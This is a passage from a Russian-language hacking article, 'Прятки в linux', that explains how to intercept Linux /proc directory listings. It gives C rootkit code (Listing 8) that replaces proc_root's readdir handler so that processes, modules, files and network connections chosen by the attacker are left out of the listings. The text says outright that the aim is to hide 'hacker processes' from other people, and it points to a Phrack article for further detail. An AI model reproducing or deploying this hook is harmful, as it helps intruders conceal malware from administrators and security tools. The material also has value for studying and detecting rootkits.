Прятки в linux

       

Перехват запросов к файловой системе


Ядро экспортирует переменную proc_root — корневой узел (root inode) виртуальной файловой системы proc_root, традиционно монтируемой на директорию /proc. При желании мы можем установить поверх нее свой собственный фильтр-обработчик, скрывающий хакерские процессы от чужих глаз. В отличии от системных вызовов, перехват переменной proc_root не чувствителен к версии ядра, а это уже преимущество!

Простейший перехватчик может выглядеть так (за более подробной информацией обращайтесь к статье "Sub proc_root Quando Sumus", опубликованной в 3Ah номере PHRACK'a):

// глобальный указатель на оригинальную filldir-функцию

filldir_t real_filldir;

static int new_filldir_root (void* __buf,const char* name,int namlen,off_t offset, ino_t ino)

{

       // анализируем каждое имя в директории,

       // если это имя того модуля/процесса/файла/сетевого соединения,

       // которое мы хотим скрыть, возвращаем нуль,

       // в противном случае передаем управление оригинальной

       // filldir-функции

       if (isHidden (name)) return 0;

       return real_filldir (__buf, name, namlen, offset, ino);

}

// новая функция readdir

int new_readdir_root (struct file *a, void *b, filldir_t c)

{

       // инициализируем указатель на оригинальную filldir-функцию

       // вообще-то, это необязательно делать каждый раз, просто

       // так нам так проще…

       real_filldir = c;

       return old_readdir_root (a, b, new_filldir_root);

}

// устанавливаем свой собственный фильтр

proc_root.FILE_OPS->readdir = new_readdir_root;

Листинг 8 новый фильтр для файловой системы proc_root



Содержание раздела